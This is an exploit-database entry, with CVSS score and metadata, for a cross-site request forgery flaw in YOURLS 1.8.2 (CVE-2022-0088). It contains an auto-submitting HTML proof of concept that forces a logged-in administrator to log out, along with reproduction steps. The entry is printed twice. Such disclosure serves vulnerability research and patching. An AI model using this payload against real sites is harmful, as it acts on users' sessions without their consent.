7.4
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Description
Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery CSRF Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https://github.com/yourls/yourls/ Software Link: https://github.com/yourls/yourls/ Version: 1.8.2 Tested on: Windows CVE :...
Basic Information
ID
EDB-ID:52446
Published
Dec 2, 2025 at 00:00
Affected Product
Affected Versions
# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/yourls/yourls/
# Software Link: https://github.com/yourls/yourls/
# Version: 1.8.2
# Tested on: Windows
# CVE : CVE-2022-0088
Proof Of Concept
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form action="http://yourls/admin/index.php" method="GET">
<input type="hidden" name="action" value="logout">
<input type="submit" value="Submit CSRF Request">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.
Steps to Reproduce
Save the following code as poc.html.
Log in yourls, and open the file in the same browser.
Observe the result.
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/yourls/yourls/
# Software Link: https://github.com/yourls/yourls/
# Version: 1.8.2
# Tested on: Windows
# CVE : CVE-2022-0088
Proof Of Concept
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form action="http://yourls/admin/index.php" method="GET">
<input type="hidden" name="action" value="logout">
<input type="submit" value="Submit CSRF Request">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.
Steps to Reproduce
Save the following code as poc.html.
Log in yourls, and open the file in the same browser.
Observe the result.